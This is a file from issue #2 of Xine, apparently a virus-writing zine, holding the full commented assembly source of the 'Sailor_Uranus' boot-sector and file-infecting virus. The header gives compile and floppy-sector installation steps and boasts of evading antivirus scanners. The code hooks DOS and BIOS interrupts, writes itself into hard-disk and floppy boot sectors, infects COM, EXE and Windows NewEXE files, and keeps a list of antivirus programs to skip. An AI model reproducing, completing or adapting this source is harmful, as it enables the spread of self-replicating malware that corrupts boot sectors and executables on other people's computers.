/-----------------------------\ | Xine - issue #2 - Phile 026 | \-----------------------------/ ;****************************************************************************** ; ; Virus name : Sailor_Uranus ; Author : b0z0 ; Group : iKx ; Origin : Padania, December 1996 / January 1997 ; Compiling : Use TASM 3.00 ; TASM /ZI /M2 URA.ASM ; TLINK /M /V URA ; TDSTRIP -C URA.EXE ; Then put the first 512 bytes into a floppy boot sector ; and the rest to the floppy boot starting at 79,1,13. ; Remember also to put the original boot sector to 79,1,12 ; Targets : HD Boot Sector / FD Boot Sector / COM / EXE / NewEXE ; Infected COMs: ; All COMs that are smaller than ; 62463 and bigger than 1280 will ; be infected. Some antiviruses and ; special files won't be infected ; (in all three cases). Check the ; source code for more about these ; files. ; Infected EXEs: ; All EXEs without overlays and ; bigger than 5000 will be infected. ; This lenght check is also valid ; for NewEXEs. ; Infected NewEXEs: ; .CPL (control panel files) ; .DLL (dynamic link libs) ; .DRV (drivers) ; .EXE (just normal NewEXEs :-) ) ; .FON (fonts) ; .FOT (other fonts... they are quite ; newer infected.. they are all ; skipped at the lenght test) ; .SCR (screen savers) ; The NewEXE infection is done using ; the VLAD-method (thanx Qark and ; QuantumG). There has been added some ; more check and modifies so now all ; infected NewEXEs will work correctly. ; Infected Floppy Boots: ; Only 1.44mb floppyes will be infected. ; The virus won't infect floppies that ; have a 'PK' as the label start. This ; is done to try to prevent damaging at ; least PKZIP multidisk archives. ; Infected HD boot: ; The boot sector of the first active ; partition will be infected. The active ; partition will be determined by a check ; in the partition table. Generally the ; DOS bootable partition is also set as ; active. ; Hooked ints : 13h and 21h ; 13h is hooked for floppy boot infections (AH = 02h) ; 21h hooked functions: ; 4b00h = Load and Execute ; 4eh = Findfirst ; 4fh = Findnext ; Size : Sailor_Uranus fits exactly (well, considering also the ; place for BPB data and 2 unused bytes :)) 4 floppy disk ; sectors (boot + 3 at the end of the floppy). Infected ; files (all kinds) will grow then 2048 bytes. ; Notes : Sailor_Uranus can go resident just if started from an ; infected boot. So any infected file will check if the ; virus is resident and if it isn't it will infect the ; HD boot. The virus infects the HD boot in two ways: ; - Using int 13h, if it is runned from and infected ; COM or EXE. ; - Using the IOCTL int 21h functions (440dh) if it ; is runned from a NewEXE ; This has been done because of course you can't directly ; use the int 13h calls while you are in protected mode, ; simply because selectors would be threated by the int 13h ; as a segment and this, as you may imagine, won't work ; very well :-) So using IOCTL we will give him our selectors ; and Win will do the whole work of convertion and so on for ; us. On the other side the IOCTL functions may be also used ; from the DOS, so why two ways of infections? The response ; is simple: IOCTL functions doesn't work with DBLSPACE and ; such programs, which are quite used around :( So i added ; also a second more standard int 13h way to infect. ; Sailor_Uranus have also 2 ways to hook int 21h. The first ; is the classic way to wait for 5 EXEs to be executed and ; checking the buffer for a 'MZ' at int 13h. The second is ; an "infected activation routine", this means that when an ; infected file is runned (this is only for DOS files) it ; will automatically trigger to the int 13h a check if the ; int 21h is already set. So the 'residency check' of the ; int 13h is also used to set int 21h. Maybe you are now ; thinking why i do this. Well, simple. On some DOS 6.22 with ; SMARTDRV and DRVSPACE loaded and a couple of other Windoze ; stuff int 13h 'MZ' check doesn't work.So on DOS 6.22 without ; the infected activation the virus may never hook int 21h. ; Residency: well, Sailor_Uranus doesn't hook interrupts ; under Windows. As you know Windows doesn't pass AH=4bh ; calls to the real mode interrupt (the DOS one). But it ; will pass usually all the 4Eh/4Fh calls, so under Win this ; virus will be able to infect files when they are searched ; (for example FileManager uses 4Eh/4Fh, so when the user will ; browse his dirs files will be infected). Now you may ask ; yourself why i said "will pass usually", why "usually"? ; Well, Win will pass these functions to the real mode ; int 21h only if the 32-bit access (32BFA) is disabled. ; But, hey! 32-bit access is disabled by default and also ; Microsuck doesn't encurage the users to use it. So, be ; sure, that more than the 95% of users has 32BFA turned off! ; About the various NewEXEs files that are infected. ; Obvisiously i am not pretending that FOTs or CPLs will ; carry the virus around :-) Basically i decided to infect ; them to mantain the virus on a system. Mainly anything ; that is Windows releated will be infected ;-) On the other ; side some of the strange infected files may be also ; considered as couriers. DRVs for example are very usual ; on various card vendor's disks. Also some screensavers ; may be distribuited around by ppl. Also VBX infection ; works ok, but many VBXs i tried to infect noticed the ; user that they have been changed, so i decided not to ; infect at all VBXs. ; To prevent an enormous loss of time files on floppy disk ; aren't infected. ; Sailor_Uranus uses the 18_Tech (refeer to Dandler's ; article for more information about this), so wind0ze ; (when 32 BDA is enabled) and some avs won't worry ; about our int 13h handler ;) ; AV, speak! : What does various AV says ; TBScan 7.06: ; COM - No Flags! ; EXE - K flag often ; NewEXE : ; .EXE - only B flag quite always ; others - No scan at all :-) ; Boot - No Flags! ; AVPlite 3.0 (updated bases): ; EXE - *sometime* Typo_COMTsr susp. ; COM - *sometime* Typo_COMTsr susp. ; All NewExes - Nothing! ; Boot - Nothing! ; FProt 2.25: ; - Normal scan ; Nothing in any case. ; - /analyse ; Will give a warning only on some COMs ; - /analyse /paranoid ; Will give a warning only on some COMs ; Well, the results of other AVs (Scan, NAV and so on) are ; all the same... i'll let you imagine :-))) ; Name origin : Sailor_Uranus is dedicated to Sailor Uranus, one of the ; Pretty Sailor Soldiers family. ; For more info : Of course, if you aren't satisfacted with my description ; and you don't have time to check out the code get VSUM ; (the year 2000 one, November edition) and read more ; interesting things about Sailor_Uranus 8-) ; Greetings : Of course a great thanx to Qark and QuantumG for writing ; the NewEXE infection tuorial and NE infectors. ; Thanx to Dandler for the very nice Int 18h trick infos! ; Thanx also to Darkman for the 4Eh/4Fh tutorial. You saved ; me a little of time ;) ; Registration : hehe :-) if you liked this virus just send me a line... ; ;****************************************************************************** .286 .model tiny .code org 0 virus_lenght equ (offset virus_end - offset virus_start) virus_start: jmp short boot_start nop org 3eh boot_start: cli xor ax,ax mov ss,ax ; set SS:SP to 0000:7C00 mov ax,7c00h mov sp,ax push ss pop ds sti mov si,412h inc si mov ax,word ptr ds:[si] ; ax = avaiable mem sub ax,3 ; 3 kb 'o' mem mov word ptr ds:[si],ax mov cl,06h shl ax,cl mov es,ax ; ES segment for our virus cld mov di,200h ; copy 200h virus bytes push di ; in memory pop cx sub di,di mov bx,cx mov si,7c00h rep movsb mov ax,203h ; read the body of the virus mov cl,3 ; on hd at 0,0,3 sub dh,dh cmp byte ptr ds:[fromfloppy + 7c00h],00h jne load_from_hd ; or on floppy at mov cx,4f0dh ; cylinder 79, sector 0dh inc dh ; side 1 load_from_hd: int 13h mov byte ptr es:[int21set],05h ; int 21h set flag mov si,04ch ; on 13h IVT entry mov ax,word ptr ds:[si+2] ; save old int 13h mov word ptr es:[seg13h],ax mov ax,word ptr ds:[si] ; off:seg mov word ptr es:[off13h],ax push ds mov ax,0f000h ; point to rom mov ds,ax xor bx,bx cd18loop: inc bx cmp word ptr ds:[bx],18cdh ; search for the int 18h jne cd18loop pop ds mov word ptr ds:[si],bx ; point int13h to the cd18h mov word ptr ds:[si + 2],ax mov word ptr ds:[si + 14h],offset new_int13h mov word ptr ds:[si + 16h],es ; set int 18h push ds ; es=ds=00 pop es mov ax,201h ; load the original bs mov bx,7c00h mov cx,2 ; 0,0,2 on hd sub dh,dh cmp byte ptr ds:[fromfloppy + 7c00h],00h jne load_bs_from_hd mov cx,4f0ch ; or here on floppy inc dh load_bs_from_hd: mov word ptr cs:[7c00h-2],13cdh jmp virus_start-2 ; pass to original bs fromfloppy db 00h ; 00h = floppy, 01h = hd new_int13h: add sp,6 ; correct stack xchg al,ah ; antiheuristic cmp ax,2301h ; installation check jne no_inst_check cmp bl,0b0h ; from a dos executable? jne alr_21handler push ax ; yea, so try to force push ds ; loading of int21 handler call force_int21h_set pop ds pop ax alr_21handler: iret no_inst_check: cmp al,02h ; read xchg al,ah ; reput right stuff in AX je check_floppy db 0EAh ; old int 13h off13h dw ? seg13h dw ? check_int21h: cmp byte ptr es:[bx],'M' ; longer but antiheuristic jne end_21_check cmp byte ptr es:[bx+1],'Z' jne end_21_check force_int21h_set: cmp byte ptr cs:[int21set],00h ; 21 already set? je end_21_check dec byte ptr cs:[int21set] ; decrease counter cmp byte ptr cs:[int21set],00h ; time to hook? jne end_21_check xor ax,ax mov ds,ax ; ds to ivt push cs pop ax xchg word ptr ds:[086h],ax ; set our int 21h mov word ptr cs:[seg21h],ax mov ax,offset new_int21h xchg word ptr ds:[084h],ax mov word ptr cs:[off21h],ax end_21_check: ret check_floppy: pushf call dword ptr cs:off13h ; read it jnc floppy_ok jmp error ; exit on error floppy_ok: pushf pusha push ds cmp cx,01h je no_check_int21h call check_int21h ; check for int 21h jmp leave_13h ; installation no_check_int21h: cmp dh,00h jne leave_13h cmp dl,1 ja leave_13h cmp word ptr es:[bx+13h],2880 ; only 1.44mb jne leave_13h cmp word ptr es:[bx+2bh],'KP' ; label PKBACK...? je leave_13h ; if so, leave boot_check: cmp word ptr es:[bx+boot_check+5],'US' je leave_13h ; already inf? push es mov ax,201h inc ah push ax mov cx,4f0ch ; cyl 79, sec 0ch mov dh,1 int 13h ; save original boot jnc ok_write pop ax pop es jmp leave_13h ; write protected, go away ok_write: push es pop ds push cs pop es sub bp,bp ; copy boot data call copy_boot_data mov byte ptr cs:[fromfloppy],dh pop ax push bx push ax sub bx,bx ; put new boot int 13h pop ax ; ax=301h inc al ; 3 sectors to write inc al mov bx,200h ; body of the virus mov cx,4f0dh ; d,e and f mov dh,01h int 13h pop bx pop es leave_13h: pop ds popa popf error: retf 2 infect_hd_by_13h: mov ax,0201h push ax lea bx,[offset filebuffer+bp] mov dx,80h mov cx,1 int 13h ; read mbr to our buffer call table_check ; check partition table pop ax jc inf_hd_err ; carry if error while looking at ; the partition table int 13h ; read boot sector cmp word ptr [bx+boot_check+5],'US' ; already infected? je inf_hd_err push dx push cx call copy_boot_data ; copy needed data from bs inc cx mov ax,201h ; save original boot inc ah push ax int 13h pop ax ; save virus body inc al inc al mov bx,200h add bx,bp inc cx int 13h pop cx pop dx mov byte ptr ds:[fromfloppy+bp],1 ; hd marker mov bx,bp ; put virus boot mov ax,201h inc ah int 13h inf_hd_err: ret boot_end: org 01feh boot_markers: db 055h,0aah ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; second_part_start: new_int21h: ; our int 21h handler cmp ah,4eh je findfirst cmp ah,4fh je findnext push ax ; fool heuristics xchg al,ah cmp ax,004bh pop ax jne do_int21h jmp execution do_int21h: db 0EAh ; original int 21h off21h dw ? seg21h dw ? findfirst: pusha push es cld lea di,filename mov si,dx push cs pop es mov word ptr cs:[di-4],di ; offset of filename in ax,40h xor al,ah and al,0111b mov byte ptr cs:[di-5],al ; infection counter getpath: lodsb ; save search path cmp al,00h je pathexit stosb ; es:di = filename cmp al,':' je ok_sepa cmp al,'\' jne getpath ok_sepa: mov word ptr cs:[filenameoff],di jmp getpath pathexit: pop es ; restore regs popa findnext: pushf call dword ptr cs:off21h pusha push ds push es pushf cmp byte ptr cs:[tmpcounter],07h jae time_to_infect inc byte ptr cs:[tmpcounter] jmp go_away time_to_infect: cld mov ah,2fh ; get DTA int 21h mov di,cs:[filenameoff] mov si,bx add si,1eh ; filename push es pop ds push cs pop es getfname: lodsb stosb cmp al,'.' jne isntadot mov word ptr cs:[filedotoff],di ; save dot position isntadot: or al,al ; end of filename? jne getfname push cs pop ds mov dx,offset filename mov di,[filedotoff] mov byte ptr ds:[tmpcounter],00h founded_dot: cmp word ptr ds:[di],'OC' ; .com je ok_inf mov byte ptr ds:[tmpcounter],01h cmp word ptr ds:[di],'XE' ; .exe je ok_inf cmp word ptr ds:[di],'LD' ; .dll je ok_inf cmp word ptr ds:[di],'OF' ; .fon and .fot je ok_inf cmp word ptr ds:[di],'RD' ; .drv je ok_inf cmp word ptr ds:[di],'CS' ; .scr je ok_inf ; cmp word ptr ds:[di],'BV' ; .vbx is too risky ; je ok_inf cmp word ptr ds:[di],'PC' ; .cpl jne go_away ok_inf: call infect_it go_away: popf pop es pop ds popa retf 2 execution: pushf pusha push ds push es mov byte ptr cs:[tmpcounter],0b0h ; exec marker infect_it: mov ah,19h ; get current default drive int 21h cmp al,2 jae ok_drive ; don't infect on floppyes jmp exit_at_all ok_drive: push ds push dx push cs pop ds mov ax,3524h ; get int24h seg and off int 21h mov word ptr ds:[old_int24_off],bx ;store them mov word ptr ds:[old_int24_seg],es mov dx,offset int24h ; set our int24h mov ax,2524h int 21h pop dx pop ds check_name: push dx pop di check_name_loop: cmp byte ptr ds:[di],'.' ; search dot je got_namedot cmp byte ptr ds:[di],00h ; end of filename? jne cn_int_loop jmp end_infection cn_int_loop: inc di jmp check_name_loop got_namedot: cmp byte ptr ds:[di+4],00h ; is the extension dot? jne cn_int_loop lea si,dontinfect ; point on noninfectables check_av_loop: mov cx,word ptr cs:[si] cmp word ptr ds:[di-2],cx ; look each file jne next_av jmp end_infection next_av: inc si inc si cmp byte ptr cs:[si],00h ; end of the list? je end_check jmp check_av_loop end_check: mov ax,4300h int 21h ; Get attributes mov word ptr cs:[file_att],cx sub cx,cx ; clear attributes call set_attributes jc end_infection ; exit on error push ds ; save ds:dx to filename on stack push dx mov ax,3d02h ; open in rw mode int 21h jc end_infection_wfa mov bx,ax ; handle in bx push cs pop ds mov ax,5700h ; get time/date int 21h push dx push cx mov ah,3fh ; read a bounch of bytes mov cx,41h lea dx,filebuffer ; to our buffer mov si,dx int 21h cmp byte ptr ds:[si],'M' ; exe? jne isnotanexe cmp byte ptr ds:[si+1],'Z' ; really exe? jne isnotanexe cmp word ptr ds:[si+12h],'US' ; exe marker? je close_and_finish cmp byte ptr ds:[si+1ah],ch ; no overlays? jne close_and_finish mov al,02h ; get lenght of the file call seekfile or dx,dx ; ok if > 64k jnz oklenght cmp ax,800h jbe close_and_finish ; not ok if < 5000 oklenght: cmp byte ptr ds:[si+18h],'@' ; winexe? je infect_winexe call infect_exe jmp close_and_finish isnotanexe: cmp byte ptr ds:[tmpcounter],01h ; Prevent ruining je close_and_finish ; files ; Infact we may have founded a file from ; another program that have the same ; extension as a windows part but of ; course it isn't a NewEXE. For example ; i saw some programs that have their ; files named as xxx.DRV and we don't ; want to destroy them :-) cmp byte ptr [si],0e9h ; jmp? jne comtest cmp byte ptr [si+3],'S' je close_and_finish comtest: call infect_com close_and_finish: pop cx pop dx mov ax,0157h ; restore time/date xchg al,ah int 21h mov ah,3eh ; close file int 21h end_infection_wfa: pop dx ; ds:dx pointer to filename pop ds mov cx,word ptr cs:[file_att] ; attributes jc end_infection call set_attributes ; put original attributes end_infection: mov ax,2524h mov ds,cs:[old_int24_seg] mov dx,cs:[old_int24_off] int 21h ; restore int24h exit_at_all: cmp byte ptr cs:[tmpcounter],0b0h ; was executing? je real_end ret real_end: mov byte ptr cs:[tmpcounter],00h pop es pop ds popa popf jmp do_int21h infect_winexe: mov di,offset winexe_data mov ax,word ptr [si+3ch] ; nexe header offset mov word ptr ds:[di],ax mov word ptr ds:[si+12h],'US' ; infection marker sub word ptr ds:[si+3ch],8 ; enought room? cmp word ptr ds:[si+3eh],0 jne close_and_finish sub al,al ; seek to start call seekfile mov ah,40h ; rewrite header mov cl,ah xor ch,ch mov dx,si int 21h jc close_and_finish ; exit on error sub al,al mov dx,word ptr ds:[di] ; to newexe header call seekfile_mid_cx mov ah,3fh ; read NE header mov cx,512 mov dx,si int 21h cmp word ptr ds:[si+36h],0802h ; only Win NewEXEs jne bad_nexe ; with gangload area cmp word ptr ds:[si],'EN' ; don't infect LE/PE je ok_newexe bad_nexe: sub al,al ; start of file call seekfile mov ah,3fh ; reread exe hdr mov cx,41h mov dx,si int 21h add word ptr ds:[si+3ch],8 ; restore changed data sub al,al ; start of file call seekfile ; leave the marker mov ah,40h ; so we wouldn't waste mov cl,ah ; time once again xor ch,ch mov dx,si int 21h ; write header jmp close_and_finish ok_newexe: mov dx,8 ; change the segment table mov ax,word ptr ds:[si+22h] cmp word ptr ds:[si+4],ax jb no_firsta add word ptr ds:[si+4],dx no_firsta: mov cx,4 push si add si,24h pnt_check: cmp word ptr ds:[si],ax ; change where needed jb no_8_add add word ptr ds:[si],dx no_8_add: inc si inc si loop pnt_check pop si mov ax,word ptr [si+1ch] inc word ptr [si+1ch] mov cx,dx sub dx,dx mov byte ptr ds:[si+37h],dl mov word ptr ds:[si+38h],dx ; kill gangload area mov word ptr ds:[si+3ah],dx ; so all NewEXEs will work mul cx mov cx,512 add ax,word ptr ds:[si+22h] adc dx,0 div cx mov word ptr ds:[di+3h],ax ; NE size mov word ptr ds:[di+5h],dx mov ax,offset winexe_entry xchg ax,word ptr ds:[si+14h] ; put new ip and mov word ptr ds:[di-02h],ax ; store old ip mov ax,word ptr ds:[si+1ch] xchg ax,word ptr ds:[si+16h] ; put new cs and mov word ptr ds:[di-04h],ax ; store old cs mov al,byte ptr ds:[si+32h] ; segment align mov byte ptr ds:[di+2h],al mov ax,word ptr ds:[di] ; newexe offset mov word ptr ds:[di+7h],ax move_header_fwd: mov ax,word ptr ds:[di+3h] ; ne header size or ax,ax jz last_page dec word ptr ds:[di+3h] sub al,al mov dx,word ptr ds:[di+7h] ; where to go sub dx,8 call seekfile_mid_cx mov ah,40h ; write mov cx,512 add word ptr ds:[di+7h],cx mov dx,si int 21h sub al,al push cx mov dx,word ptr ds:[di+7h] ; to next chunk call seekfile_mid_cx mov ah,3fh ; read it mov dx,si pop cx int 21h jmp move_header_fwd last_page: mov al,02h call seekfile mov cl,byte ptr ds:[di+2h] ; segment align push bx mov bx,1 shl bx,cl ; shift segment offset mov cx,bx ; by segment align pop bx div cx mov word ptr ds:[di+9h],0 or dx,dx jz no_extra sub cx,dx mov word ptr ds:[di+9h],cx inc ax no_extra: push di mov di,si add di,word ptr ds:[last_ne] mov word ptr [di],ax ; segment offset mov word ptr [di+2],virus_lenght mov word ptr [di+4],180h ; Segment attributes mov word ptr [di+6],virus_lenght + 1024 pop di sub al,al mov dx,word ptr ds:[di+7h] ; where to go sub dx,8 call seekfile_mid_cx mov ah,40h mov cx,word ptr ds:[di+5h] ; write last chunk add cx,8 mov dx,si int 21h sub cx,cx xchg word ptr ds:[winip],cx push cx sub cx,cx ; reset reloc pointer dec cx xchg word ptr ds:[wincs],cx push cx mov al,02h mov dx,word ptr ds:[di+9h] ; end of file call seekfile_mid_cx mov ah,40h ; write virus body mov cx,virus_lenght sub dx,dx int 21h pop word ptr ds:[wincs] ; restore reloc pop word ptr ds:[winip] ; pointer mov ah,40h ; write reloc item mov dx,offset relocitem mov cx,(offset relocitem_end-offset relocitem) int 21h jmp close_and_finish infect_exe: mov al,02h call seekfile ; AX:DX = lenght push ax ; check _really_ no overlays push dx mov cx,word ptr [si+04h] mov ax,512 ; compare lenght calculated mul cx ; from header with the real add ax,word ptr [si+02h] ; lenght we got from lseek adc dx,00h mov word ptr [si-02h],dx mov word ptr [si-04h],ax pop dx pop ax cmp dx,word ptr [si-02h] ja exit_exe_infection cmp ax,word ptr [si-04h] ja exit_exe_infection push ax push dx mov cx,10h ; calculate new div cx ; cs:ip for exe sub ax,word ptr [si+8h] add dx,offset exe_entry push ax xchg word ptr [si+16h],ax ; new CS mov word ptr ds:[victim_cs],ax pop ax push dx xchg word ptr [si+14h],dx ; new IP mov word ptr ds:[victim_ip],dx pop dx add dx,(offset virus_end + 800) ; SP after us and dl,0feh xchg word ptr [si+0eh],ax ; new SS mov word ptr ds:[victim_ss],ax xchg word ptr [si+10h],dx ; new SP mov word ptr ds:[victim_sp],dx pop dx ; pop length pop ax add ax,virus_lenght adc dx,00h mov cx,512 div cx inc ax mov word ptr [si+04h],ax ; new nr of pages mov word ptr [si+02h],dx ; new image mod 512 mov word ptr [si+12h],'US' ; infection marker mov byte ptr [exeorcom],00h ; exe marker sub dx,dx mov ah,40h mov cx,virus_lenght ; write virus body int 21h mov cx,1ch push cx sub al,al call seekfile ; go to start mov ah,40h ; write header pop cx mov dx,si int 21h exit_exe_infection: ret infect_com: push ds pop es lea di,orig_bytes ; save first 4 bytes movsw movsw mov al,02h ; end of file call seekfile cmp ah,0f3h ; not bigger than... ja infect_com_exit cmp ah,04h ; not smaller than... jbe infect_com_exit sub ax,03h add ax,offset exe_entry ; calculate jump mov word ptr com_jump + 01h, ax mov byte ptr [exeorcom],01h ; com marker mov ah,40h sub dx,dx mov cx,virus_lenght ; write virus body int 21h mov cx,04h push cx sub al,al call seekfile ; start of the file mov ah,40h ; write new jump pop cx mov dx,offset com_jump int 21h infect_com_exit: ret seekfile: ; move around the file sub ah,ah ; so cwd will work cwd seekfile_mid_cx: sub cx,cx seekfile_mid: mov ah,42h int 21h ret exe_entry: ; EXE and COM entry point call deltaoffset deltaoffset: push ds push es mov bp,sp mov bx,[bp+4] mov bp,bx sub bp,offset deltaoffset ; delta offset mov bl,0b0h mov ax,0123h ; residency check int 13h cmp ax,2301h je already_in_mem push cs pop es push cs pop ds call infect_hd_by_13h ; infect hd by int 13h already_in_mem: pop es pop ds pop ax cmp byte ptr cs:[exeorcom + bp],01h je com_exit ; exe or com finish mov ax,es ; calculate cs and ss add ax,10h add cs:[victim_cs + bp],ax cli mov sp,word ptr cs:[victim_sp + bp] add ax,word ptr cs:[victim_ss + bp] mov ss,ax sti sub ax,ax ; zero regs sub bx,bx sub cx,cx sub dx,dx sub di,di sub si,si push cs:[victim_cs+bp] ; push old cs:ip push cs:[victim_ip+bp] sub bp,bp retf ; return to old cs:ip victim_ip dw 00000h victim_cs dw 0fff0h victim_sp dw 00000h victim_ss dw 00000h orig_bytes db 00h,00h,00h,00h ; original com bytes com_jump db 0e9h,00h,00h ; space for our com jump ; the S will be also of ; use for infection check virus_name db 'Sailor_Uranus' exeorcom db 00h ; 01 = COM, 00 = EXE com_exit: mov di,0ffh lea si,[orig_bytes + bp] inc di push di pop ax movsw ; restore 4 com bytes movsw jmp ax ; jump to cs:100 winexe_entry: ; Entry point for NExes pusha push es push ds sub bx,bx mov ax,0123h ; residency check int 13h cmp ax,2301h je already_inf mov ax,000ah ; Create Alias Descriptor mov bx,cs ; so our cs is writeable int 31h mov ds,ax mov bx,ax mov ax,0008h ; Set Segment Limit sub cx,cx ; so we are _sure_ that we mov dx,0c00h ; will have enough space for int 31h ; hd infection push ds pop es sub bp,bp call infect_hdboot ; infect HD boot with int 21h mov ax,0001h ; free LDT descriptor we used mov bx,ds int 31h already_inf: pop ds pop es popa db 0EAh ; return to original exe winip dw 0 wincs dw 0ffffh virus_author db 'b0z0/iKx' int24h: mov al,00h iret dontinfect db 'AN','OT','86','AV','VP','US','IL','ED' db 'OP','ND','LP','GR','PL','RK','YR','RE',0 ; Antiviruses: ; AN - tbscan ; - scan ; OT - f-prot ; AV - nav ; - ms*av ; VP - avp ; US - findvirus ; OP - virstop ; ; Files that will tell the user that they were changed and that they are ; probably infected by a virus: ; IL - msmail and msmail releated ; ED - mssched.dll ; mssched.exe ; and some other Scheduler+ files ; LP - winhelp.exe ; GR - wgpomgr.dll ; - mailmgr.dll ; PL - mailspl.exe ; RK - framework.dll ; RE - store.dll ; ; And this won't be infected because they won't work. I really don't know ; why... ; ND - lzexpand.dll ; 86 - kern386 ; infect_hdboot: ; infects HD boot with int21h lea bx,[offset filebuffer+bp] sub cx,cx sub dh,dh call do_read ; read the MBR jc hderror call table_check ; find active partition jc hderror dec cl ; no carry -> read call do_read ; read boot sector cmp word ptr [bx+boot_check+5],'US' ; already infected? je hderror push dx push cx call copy_boot_data ; copy boot stuff mov byte ptr ds:[fromfloppy+bp],cl stc ; write call do_read inc cx ; save body of the virus lea bx,[offset second_part_start+bp] stc ; write call do_read inc cx add bx,200h ; next part stc ; write call do_read add bx,200h ; next part inc cx stc ; write call do_read pop cx pop dx mov bx,bp ; put virus boot stc ; write call do_read hderror: ret copy_boot_data: lea si,[bx+03h] ; copy cool boot stuff lea di,[bp+03h] mov cx,03bh rep movsb sub dh,dh inc cx ret table_check: ; finds the first bootable mov cl,4 ; partition and put in add bx,01beh ; DX and CX the head, ; sector and cylinder ; (in the format as int ; 13h wants) ptable_loop: dec cl cmp byte ptr ds:[bx],080h ; is bootable? je boot_found add bx,010h ; next partition cmp cl,0 jne ptable_loop stc ; all partition examined ret ; but no active. leave ; with carry as error boot_found: mov dx,word ptr ds:[bx] mov cx,word ptr ds:[bx+2] ; sector + cyl lea bx,[offset filebuffer+bp] ; and point on buffer ret set_attributes: mov ax,0143h ; no flags xchg al,ah int 21h ret do_read: ; if Carry is set then this will do a WRITE on the HD ; if Carry isn't set then a READ will be executed push dx push cx mov di,offset rw_struct ; point to the structure pushf ; needed by 440dh add di,bp popf mov word ptr ds:[di+9],bx ; store in the structure mov word ptr ds:[di+11],ds ; as needed mov byte ptr ds:[di+1],dh mov byte ptr ds:[di+3],ch mov byte ptr ds:[di+5],cl mov cl,041h ; select between write (41h) jc do_rwop ; and read (61h) add cl,20h do_rwop: mov ch,08h ; 08h = disk drive mov ax,440dh ; IOCTL generic block device req push bx mov bl,03h ; on C: mov dx,di ; point to structure int 21h pop bx pop cx pop dx ret rw_struct: ; read write structure fix_byte db 00h head_word dw 00h cyl_word dw 00h sec_word dw 00h nr_word dw 0001h ; one sector at once. I think where_off dw 00h ; that this is a bug, because where_seg dw 00h ; DOS doesn't want to write/read ; more than one sectore at once :( ; or at least on all the machined ; i tested it wasn't working :((( ; so we will write/read one sector ; at once relocitem: ; relocation item for NewEXEs dw 1 db 3 db 4 dw offset winip old_cs dw 0 old_ip dw 0 relocitem_end: ; end of the virus in the file virus_end: winexe_data: ; data needed for newexe newexe_off dw 0 ; infection al_shift db 0 ne_size dw 0 last_ne dw 0 lseek dw 0 lseek_add dw 0 int21set db 09h ; Int 21h set flag old_int24_off dw ? ; original int24 offset old_int24_seg dw ? ; original int24 segment tmpcounter db 00h ; counter for 4eh/4fh infection filenameoff dw ? ; stuff for 4eh/4fh infection filedotoff dw ? filename db 4ch dup (?) lenax dw ? ; lenght of the file lendx dw ? filebuffer db 512 dup (?) ; buffer for r/w operations file_att dw ? ; file attributes ; end of the virus in memory virus_end_mem: end